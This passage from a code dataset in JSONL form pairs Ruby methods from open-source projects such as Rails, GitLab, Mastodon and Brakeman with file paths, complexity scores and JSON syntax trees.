end","complexity_score":23.4,"ast_json":"{\"type\":\"def\",\"children\":[\"verify_signature\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@token\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ahoy_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"t\"]}]},\"to_s\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@campaign\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ahoy_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"c\"]}]},\"to_s\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@url\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ahoy_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"u\"]}]},\"to_s\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@signature\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ahoy_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"s\"]}]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"expected_signature\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AhoyEmail\"]},\"Utils\"]},\"signature\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"token\"]},{\"type\":\"ivar\",\"children\":[\"@token\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"campaign\"]},{\"type\":\"ivar\",\"children\":[\"@campaign\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"ivar\",\"children\":[\"@url\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"SecurityUtils\"]},\"secure_compare\",{\"type\":\"ivar\",\"children\":[\"@signature\"]},{\"type\":\"lvar\",\"children\":[\"expected_signature\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"plain\"]},{\"type\":\"str\",\"children\":[\"Invalid signature\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"forbidden\"]}]}]}]}]}]}","id":"abcfc91e-be5b-4bd3-9321-95d00cc57ce4"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/trends/statuses_controller.rb","start_line":10,"raw_source":"def index\n    cache_if_unauthenticated!\n    render json: @statuses, each_serializer: REST::StatusSerializer\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cache_if_unauthenticated!\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"ivar\",\"children\":[\"@statuses\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"each_serializer\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REST\"]},\"StatusSerializer\"]}]}]}]}]}]}","id":"e2b2e988-fef6-45d7-bd4a-a7329972f6ab"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/hstore_test.rb","start_line":42,"raw_source":"def test_disable_enable_hstore\n    assert @connection.extension_enabled?(\"hstore\")\n    @connection.disable_extension \"hstore\", force: :cascade\n    assert_not @connection.extension_enabled?(\"hstore\")\n    @connection.enable_extension \"hstore\"\n    assert @connection.extension_enabled?(\"hstore\")\n  ensure\n    # Restore column(s) dropped by `drop extension hstore cascade;`\n    load_schema\n  end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_disable_enable_hstore\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"extension_enabled?\",{\"type\":\"str\",\"children\":[\"hstore\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"disable_extension\",{\"type\":\"str\",\"children\":[\"hstore\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"force\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"extension_enabled?\",{\"type\":\"str\",\"children\":[\"hstore\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"enable_extension\",{\"type\":\"str\",\"children\":[\"hstore\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"extension_enabled?\",{\"type\":\"str\",\"children\":[\"hstore\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"load_schema\"]}]}]}","id":"ff19e0a8-485f-4fd0-81b8-7bda1cb04b2d"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/middleware/cookies.rb","start_line":281,"raw_source":"def signed_or_encrypted\n        @signed_or_encrypted ||=\n          if request.secret_key_base.present?\n            encrypted\n          else\n            signed\n          end\n      end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"signed_or_encrypted\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@signed_or_encrypted\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"secret_key_base\"]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"encrypted\"]},{\"type\":\"send\",\"children\":[null,\"signed\"]}]}]}]}","id":"96d91204-35ac-435f-9cf0-706568ff964a"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/processors/template_alias_processor.rb","start_line":22,"raw_source":"def process_template name, args, _, line = nil\n    # Strip forward slash from beginning of template path.\n    # This also happens in RenderHelper#process_template but\n    # we need it here too to accurately avoid circular renders below.\n    name = name.to_s.gsub(/^\\//, \"\")\n\n    if @called_from\n      if @called_from.include_template? name\n        Brakeman.debug \"Skipping circular render from #{@template.name} to #{name}\"\n        return\n      end\n\n      super name, args, @called_from.dup.add_template_render(@template.name, line, @current_file), line\n    else\n      super name, args, Brakeman::RenderPath.new.add_template_render(@template.name, line, @current_file), line\n    end\n  end","complexity_score":20.6,"ast_json":"{\"type\":\"def\",\"children\":[\"process_template\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"args\"]},{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"optarg\",\"children\":[\"line\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^/\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@called_from\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@called_from\"]},\"include_template?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Skipping circular render from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@template\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"args\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@called_from\"]},\"dup\"]},\"add_template_render\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@template\"]},\"name\"]},{\"type\":\"lvar\",\"children\":[\"line\"]},{\"type\":\"ivar\",\"children\":[\"@current_file\"]}]},{\"type\":\"lvar\",\"children\":[\"line\"]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"args\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"RenderPath\"]},\"new\"]},\"add_template_render\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@template\"]},\"name\"]},{\"type\":\"lvar\",\"children\":[\"line\"]},{\"type\":\"ivar\",\"children\":[\"@current_file\"]}]},{\"type\":\"lvar\",\"children\":[\"line\"]}]}]}]}]}","id":"8c87725f-11ee-4467-9630-7195275ad4e0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/fp/settings/env_var_override_processor.rb","start_line":11,"raw_source":"def self.process(context)\n          return Gitlab::Fp::Result.ok(context) if Rails.env.production?\n\n          context => {\n            env_var_prefix: String => env_var_prefix,\n            env_var_failed_message_class: Class => env_var_failed_message_class,\n          }\n\n          err_result = nil\n          context[:settings].each_key do |setting_name|\n            env_var_name = \"#{env_var_prefix}_#{setting_name.to_s.upcase}\"\n            env_var_value_string = ENV[env_var_name]\n\n            # If there is no matching ENV var, break the loop and go to the next setting\n            next unless env_var_value_string\n\n            begin\n              env_var_value = cast_value(\n                env_var_name: env_var_name,\n                env_var_value_string: env_var_value_string,\n                setting_type: context[:setting_types][setting_name]\n              )\n            rescue RuntimeError => e\n              # err_result will be set to a non-nil Gitlab::Fp::Result.err if casting fails\n              err_result = Gitlab::Fp::Result.err(env_var_failed_message_class.new(details: e.message))\n            end\n\n            # ENV var matches an existing setting and is the correct type, use its value to override the default value\n            context[:settings][setting_name] = env_var_value\n          end\n\n          return err_result if err_result\n\n          Gitlab::Fp::Result.ok(context)\n        end","complexity_score":40.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"process\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"context\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]},\"production?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Fp\"]},\"Result\"]},\"ok\",{\"type\":\"lvar\",\"children\":[\"context\"]}]}]},null]},{\"type\":\"match_pattern\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_var_prefix\"]},{\"type\":\"match_as\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"match_var\",\"children\":[\"env_var_prefix\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_var_failed_message_class\"]},{\"type\":\"match_as\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},{\"type\":\"match_var\",\"children\":[\"env_var_failed_message_class\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"err_result\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"settings\"]}]},\"each_key\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"setting_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"env_var_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env_var_prefix\"]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting_name\"]},\"to_s\"]},\"upcase\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"env_var_value_string\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"env_var_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env_var_value_string\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"env_var_value\",{\"type\":\"send\",\"children\":[null,\"cast_value\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_var_name\"]},{\"type\":\"lvar\",\"children\":[\"env_var_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_var_value_string\"]},{\"type\":\"lvar\",\"children\":[\"env_var_value_string\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"setting_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"setting_types\"]}]},\"[]\",{\"type\":\"lvar\",\"children\":[\"setting_name\"]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"lvasgn\",\"children\":[\"err_result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Fp\"]},\"Result\"]},\"err\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env_var_failed_message_class\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"details\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"settings\"]}]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"setting_name\"]},{\"type\":\"lvar\",\"children\":[\"env_var_value\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err_result\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err_result\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Fp\"]},\"Result\"]},\"ok\",{\"type\":\"lvar\",\"children\":[\"context\"]}]}]}]}","id":"41c6af92-badd-4b90-a851-098d2e86badb"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/binary_blob.rb","start_line":108,"raw_source":"def serializer\n    data_type == \"YAML\" ? YAML : Marshal\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"serializer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"data_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"YAML\"]}]},{\"type\":\"const\",\"children\":[null,\"YAML\"]},{\"type\":\"const\",\"children\":[null,\"Marshal\"]}]}]}","id":"8b002657-557d-4dbc-9a4e-0d23af6bf53c"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/variable_force/variable.rb","start_line":31,"raw_source":"def assign(node)\n          assignment = Assignment.new(node, self)\n\n          mark_last_as_reassigned!(assignment)\n\n          @assignments << assignment\n        end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"assign\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"assignment\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Assignment\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"self\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"mark_last_as_reassigned!\",{\"type\":\"lvar\",\"children\":[\"assignment\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@assignments\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"assignment\"]}]}]}]}","id":"f6c32b9d-b210-4dfd-a5ea-9f8f49f61ddb"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/onebox/engine/twitter_status_onebox.rb","start_line":70,"raw_source":"def client\n        Onebox.options.twitter_client\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"client\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Onebox\"]},\"options\"]},\"twitter_client\"]}]}","id":"a4ef4844-d1ca-4a99-b2f4-8c15ce8484cd"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/cli/command/todo_list_command.rb","start_line":51,"raw_source":"def grouped_smells\n          @grouped_smells ||= smells.group_by(&:smell_type)\n        end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"grouped_smells\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@grouped_smells\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"smells\"]},\"group_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"smell_type\"]}]}]}]}]}","id":"dbafe15b-0c2f-41e5-be51-214aa39b514f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/import/bulk_imports_controller.rb","start_line":234,"raw_source":"def throttled_request?\n    ::Gitlab::ApplicationRateLimiter.throttled_request?(request, current_user, :bulk_import, scope: current_user)\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"throttled_request?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"ApplicationRateLimiter\"]},\"throttled_request?\",{\"type\":\"send\",\"children\":[null,\"request\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"bulk_import\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]}]}","id":"b8ee2a46-9916-49df-aa74-f7ee79c209bf"}
{"repo_name":"hooks","file_path":"./repos/hooks/lib/hooks/core/plugin_loader.rb","start_line":305,"raw_source":"def load_custom_instrument_plugin(file_path, instruments_plugin_dir)\n          # Security: Ensure the file path doesn't escape the instruments plugin directory\n          normalized_instruments_dir = Pathname.new(File.expand_path(instruments_plugin_dir))\n          normalized_file_path = Pathname.new(File.expand_path(file_path))\n          unless normalized_file_path.descend.any? { |path| path == normalized_instruments_dir }\n            raise SecurityError, \"Instrument plugin path outside of instruments plugin directory: #{file_path}\"\n          end\n\n          # Extract class name from file (e.g., custom_stats.rb -> CustomStats)\n          file_name = File.basename(file_path, \".rb\")\n          class_name = file_name.split(\"_\").map(&:capitalize).join(\"\")\n\n          # Security: Validate class name\n          unless valid_instrument_class_name?(class_name)\n            raise StandardError, \"Invalid instrument plugin class name: #{class_name}\"\n          end\n\n          # Load the file\n          require file_path\n\n          # Get the class and validate it - use safe constant lookup\n          instrument_class = begin\n            Object.const_get(class_name, false) # false = don't inherit from ancestors\n          rescue NameError\n            raise StandardError, \"Instrument plugin class not found: #{class_name}\"\n          end\n\n          # Determine instrument type based on inheritance\n          if instrument_class < Hooks::Plugins::Instruments::StatsBase\n            @instrument_plugins[:stats] = instrument_class.new\n          elsif instrument_class < Hooks::Plugins::Instruments::FailbotBase\n            @instrument_plugins[:failbot] = instrument_class.new\n          else\n            raise StandardError, \"Instrument plugin class must inherit from StatsBase or FailbotBase: #{class_name}\"\n          end\n        end","complexity_score":39.1,"ast_json":"{\"type\":\"def\",\"children\":[\"load_custom_instrument_plugin\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_path\"]},{\"type\":\"arg\",\"children\":[\"instruments_plugin_dir\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"normalized_instruments_dir\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pathname\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"lvar\",\"children\":[\"instruments_plugin_dir\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"normalized_file_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pathname\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"lvar\",\"children\":[\"file_path\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"normalized_file_path\"]},\"descend\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"normalized_instruments_dir\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"SecurityError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Instrument plugin path outside of instruments plugin directory: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_path\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"file_name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"lvar\",\"children\":[\"file_path\"]},{\"type\":\"str\",\"children\":[\".rb\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"class_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_name\"]},\"split\",{\"type\":\"str\",\"children\":[\"_\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"capitalize\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_instrument_class_name?\",{\"type\":\"lvar\",\"children\":[\"class_name\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"StandardError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid instrument plugin class name: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"class_name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"lvar\",\"children\":[\"file_path\"]}]},{\"type\":\"lvasgn\",\"children\":[\"instrument_class\",{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Object\"]},\"const_get\",{\"type\":\"lvar\",\"children\":[\"class_name\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NameError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"StandardError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Instrument plugin class not found: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"class_name\"]}]}]}]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instrument_class\"]},\"<\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hooks\"]},\"Plugins\"]},\"Instruments\"]},\"StatsBase\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@instrument_plugins\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"stats\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instrument_class\"]},\"new\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instrument_class\"]},\"<\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hooks\"]},\"Plugins\"]},\"Instruments\"]},\"FailbotBase\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@instrument_plugins\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"failbot\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instrument_class\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"StandardError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Instrument plugin class must inherit from StatsBase or FailbotBase: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"class_name\"]}]}]}]}]}]}]}]}","id":"96585a0e-9de9-477f-90d2-6025e6af1946"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/harbor/tag.rb","start_line":5,"raw_source":"def index\n      respond_to do |format|\n        format.json do\n          tags\n        end\n      end\n    end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"json\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"tags\"]}]}]}]}","id":"4a38cb5a-2e3a-4bbf-85ab-5d6168c3fe8c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/helpers/label_helpers.rb","start_line":76,"raw_source":"def update_label(parent, entity)\n        authorize! :admin_label, parent\n\n        label = find_label(parent, params_id_or_title, include_ancestor_groups: false)\n        update_priority = params.key?(:priority)\n        priority = params.delete(:priority)\n\n        # params is used to update the label so we need to remove this field here\n        params.delete(:label_id)\n        params.delete(:name)\n        params.delete(:archived) unless Feature.enabled?(:labels_archive, :instance)\n\n        update_params = declared_params(include_missing: false)\n\n        if update_params.present?\n          authorize! :admin_label, label\n\n          label = ::Labels::UpdateService.new(update_params).execute(label)\n          render_validation_error!(label) unless label.valid?\n        end\n\n        if parent.is_a?(Project) && update_priority\n          if priority.nil?\n            label.unprioritize!(parent)\n          else\n            label.prioritize!(parent, priority)\n          end\n        end\n\n        present label, with: entity, current_user: current_user, parent: parent\n      